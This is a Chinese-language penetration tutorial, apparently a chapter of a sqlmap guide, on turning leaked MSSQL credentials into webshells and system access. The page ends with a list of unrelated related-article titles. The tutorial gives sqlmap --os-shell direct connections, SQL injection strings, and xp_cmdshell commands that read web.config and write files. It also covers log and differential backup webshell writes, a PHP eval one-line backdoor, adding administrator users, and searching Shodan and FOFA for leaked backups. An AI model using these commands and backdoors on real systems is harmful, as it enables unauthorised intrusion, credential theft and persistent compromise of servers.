4.4 使用sqlmap直连MSSQL获取webshell或权限

在某些情况下可能不存在SQL注入漏洞,但是通过发现目标源代码泄露,备份泄露,文件包含等方法获取了数据库服务器的IP地址,数据库账户和密码,而且含有对外可以访问的端口,或者可以通过代理的方式能够访问到端口,简单点理解就是可以通过公网直连MSSQL数据库,那么这个时候就可以根据具体情况获取webshell或系统权限

4.4.1 MSSQL数据获取webshell相关命令

1. 数据库恢复xp_cmdshell存储过程、

(1) 判断xp_cmdshell是否存在

(2) MSSQL 2000版本:

(3) MSSQL 2005及以上版本:

2. 手工注入写入shell

3. 反弹写入webshell

这里的必要条件是必须知道网站的真实路径,可以通过访问网站文件出错来获取真实路径

4. SQLTOOLS工具通过账户直接连接

(1) 恢复存储过程

(2) 通过文件管理查看文件及目录

(3) 获取网站的真实路径

(4) 写入shell

5. 知道sa账户和密码,直连后写入webshell或获取系统权限

sqlmap.py -d mssql://sa:sa@xxx.xxx.xxx.xxx:1433/master --os-shell

6. 执行提权命令

这里就是通过存储过程执行添加用户和密码 ,然后将添加的用户加入到管理员组

7. 日志备份获取webshell

(1) log日志备份获取webshell

';alter database dbname set RECOVERY FULL--

';create table cmd (a image)--

';backup log dbname to disk = 'C:\dbbackup' with init--

';insert into cmd (a) values (0x273C25657863.....)--

';backup log dbname to disk = 'D:\wwwroot\bmfx.asp'--

';drop table cmd--

dbname修改为实际环境中的真实数据库名称,根据实际情况更改设置路径'D:\wwwroot\'

(2) 差异备份

';drop table cmd--

';create table cmd (a image)--

';insert into cmd (a) values (0x273C25657863.....)--

';execute sp_makewebtask @outputfile='D:\www\bmfx.asp', '@query='select a from cmd'--

';insert into cmd (a) values (0x273C25657863.....)--  这里括号里面是十六进制,可以通过Notepad++工具进行转换

8. 手工注入获取webshell

(1) 注入点判断

' and 1=user;--

(2) 创建临时表

';CREATE TABLE TTBMFX_TMP (tmp1 varchar(8000));--

(3) 查询文件

(4) 查看文件名称并获取真实的路径

(5) 文件写入测试

';exec master..xp_cmdshell 'echo test > D:\\www\\bmfx.txt';--

(6) 写入shell

';exec master..xp_cmdshell 'echo ^^> D:\\www\\bmfx.aspx';--

4.4.2 MSSQL数据库获取webshell思路和方法

在实际的环境中需要根据实际情况判断,所有都是以结果为导向,通过获取数据库获取所在的服务器系统权限或者是webshell权限

1. 通过SQL查询分析器及SQL数据库客户端进行连接获取webshell及系统权限

(1) 连接数据库成功测试

(2) 恢复xp_cmdshell存储过程

(3) 执行命令

* 遍历C盘目录或者子目录及目录树结构

exec master.dbo.xp_dirtree 'C:\'

* 获取当前所有驱动器

exec master.dbo.xp_availablemedia;

* 获取子目录列表

exec master.dbo.xp_subdirs 'C:\';

* 查看文件的内容

exec master.dbo.xp_cmdshell 'type C:\wwwroot\web\web.config';

(4) 找到网站目录,通过执行命令查看网页相对应的名称和类型,获取网站的真实路径

(5) 压缩源代码及数据库

(6) 写入一句话后门

(7) webshell提权

2. 通过SQLTOOLS工具进行文件查看获取webshell

(1) 恢复存储过程

(2) 执行命令或查看磁盘文件目录及内容

(3) 后续步骤跟上面类似

3. 使用sqlmap直连MSSQL获取webshell或权限

(1) 连接测试

sqlmap.py -d mssql://sa:sa@ip:1433/master

(2) 获取os-shell

sqlmap.py -d mssql://sa:sa@ip:1433/master --os-shell

(3) 在获取的shell中执行命令

4. 查看CMS相关数据库,通过登录CMS来获取webshell

(1) 通过SQL查询分析器,SQLTOOLS,sqlmap获取CMS对应数据库

(2) 查看并获取后台管理员表数据

(3) 如果是加密数据,就进行解密

(4) 寻找CMS后台地址

(5) 登录CMS后台

(6) 寻找上传位置,尝试获取webshell

(7) 也可以通过log,差异备份的方法来获取webshell

4.4.3 sqlmap直连数据库获取webshell

1. 直连数据库测试

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master

2. 获取os-shell

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --os-shell

3. 如果未获取系统权限

(1) 查看磁盘文件

dir C:\

(2) 获取网站所在目录为C:\www\phpstudypro\,写入一句话后门到此目录下面

echo ^<?php @eval ($_POST['bmfx']);?^>^ >C:\www\phpstudypro\bmfx.php

(3) 查看写入内容 type C:\www\phpstudypro\bmfx.php

(4) 获取webshell

4. 执行其他命令

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --dbs

4.4.4 利用漏洞搜索引擎搜索目标

1. 搜索网站备份文件

(1) 利用fofa网站搜索web.config.bak

(2) 利用shodan网站搜索web.config.bak

2. 搜索其他关键字

www.rar, wwwroot.rar, wwwroot.zip, www.zip

4.4.5 构造SQL注入后门

1. 构造SQL注入后门前提条件

通过前面的方法获取了目标站点的webshell,然后通过webshell在网站创建文件

2. ASP+IIS+MSSQL站点构造SQL注入后门

(1) 不使用数据库连接文件

(2) 使用系统自带的连接文件

sqlmap 连接mysql_sqlmap从入门到精通-第三章-4-4-使用sqlmap直连MSSQL获取webshell或权限...相关推荐

  1. sqlmap使用_sqlmap从入门到精通第四章47使用EW代理导出和导入MSSQL数据

    4.7 使用EW代理导出和导入MSSQL数据 一般的场景就是目标站点获取了webshell,然后数据库的IP地址不在目标站的本地,而且做了精准的访问控制,只允许目标站点的IP地址才能访问数据库,那么这 ...

  2. 网络安全从入门到精通(第三章) 信息收集

    本文内容: 重要性-为什么要信息收集 信息收集方向-信息收集究竟收集什么? 巧用网络控件搜索引擎 1,重要性-为什么要信息收集: 信息收集的作用:最了解的人往往都是你的对手,知己知彼,百战不殆,当你所 ...

  3. javacv从入门到精通——第三章:基本使用

    了解javacv的基本结构 JavaCV的基本结构如下: JavaCV核心类:JavaCV核心类是JavaCV库的核心,它包括了JavaCV的所有功能和特性,可以用来进行计算机视觉和人工智能任务的开发 ...

  4. c语言从入门到精通ppt,C语言从入门到精通第1章.ppt

    C语言从入门到精通第1章 1.2.2 认识Turbo C 2.0 1.2.2 认识Turbo C 2.0 ⑴ 菜单栏:包括[File](文件)菜单.[Edit](编辑)菜单.[Run](运行)菜单.[ ...

  5. Excel数据分析从入门到精通(三)函数进阶-52个Excel函数之清洗类函数

    Excel数据分析从入门到精通(三)函数进阶-52个Excel函数 1.清洗类函数-left 函数含义 函数使用 2.清洗类函数-right 函数含义 函数使用 3.清洗类函数-MID 函数含义 函数 ...

  6. Spring入门到精通:第一章 基础入门:1.Spring框架概述

    Spring入门到精通:第一章 基础入门:1.Spring框架概述 前言:为什么要学习Spring框架? 为什么要学习Spring框架呐? (1)使用广泛:现在很多的企业都有Spring的影子,不管是 ...

  7. 1. Vue从入门到精通(第一章 vue核心)

    Vue从入门到精通(第一章 vue核心) 第一章 Vue核心 1. Vue简介 1.1 Vue是什么? 1.2 Vue的作者以及迭代版本 1.3 Vue的特点 2. 搭建Vue开发环境 2.1 安装V ...

  8. php flock 都是true_PHP从入门到精通(三)PHP语言基础

    PHP从入门到精通(三)PHP语言基础 一.PHP标记风格 PHP支持4种标记风格 1.XML风格.(推荐使用) <?phpecho "这是XML分割的标记"; ?> ...

  9. CUDA从入门到精通(三):必备资料

    CUDA从入门到精通(三):必备资料 2013-07-23 09:20 3676人阅读 评论(0) 收藏 举报  分类: GPU(29)  版权声明:本文为卜居原创文章,未经博主允许不得转载.卜居博客 ...

最新文章

  1. Ueditor和CKeditor 两款编辑器的使用与配置
  2. 注解 java.lang.annotation.Inherited 介绍
  3. 吉大20春学期C语言程序设计作业二,吉大18春学期《C语言程序设计》在线作业二【答案】...
  4. SDWAN分支解决方案:sdwan能用于多分支的企业吗?
  5. 13张PPT带你了解主动式消息队列处理集群
  6. linux系统shell知识点,linux shell 知识点
  7. exp导出excel oracle_如何从Oracle快速导出数据到Excel
  8. 怎么改字段名称_精装房这么改!换门框,封阳台,效果出来比毛坯房还好
  9. 应用实践 | 网络智能运维下的知识图谱
  10. 未来5年人工智能将取代6%工作职位
  11. 【云存储】企业云存储管理解决方案
  12. 深度学习Hello World --- 手写体识别 实战
  13. RSA 加解密(Java 实现)
  14. java用下划线分开字母和数字_数字文字中的Java 7下划线
  15. Elastic:开发者上手指南
  16. 癌症/肿瘤免疫治疗最新研究进展(2022年4月)
  17. eBay、亚马逊、Lazada、Shopee、速卖通、美客多等跨境电商平台,测评自养号需要满足什么条件?listing如何优化?
  18. 求解TSP问题神器——elkai(简单好用)
  19. 【安卓开发】简单记账app功能实现开发-期末大作业个人总结
  20. Webpack的使用

热门文章

  1. Build OS Menu of Platform Builder 5.0
  2. 维基链超级节点竞选开展如火如荼
  3. BCH的去中心化理念自治
  4. java 时间的封装类
  5. Spring Boot整合模板引擎jsp
  6. 博为峰Java技术文章 ——JavaSE Swing FlowLayout布局管理器I
  7. RabbitMQ OS X下安装及常用命令-1
  8. Generics and Linq demo
  9. AVR系列之ADC转换
  10. 领扣-104/111 二叉树的最大深度 Maximum Depth of Binary Tree MD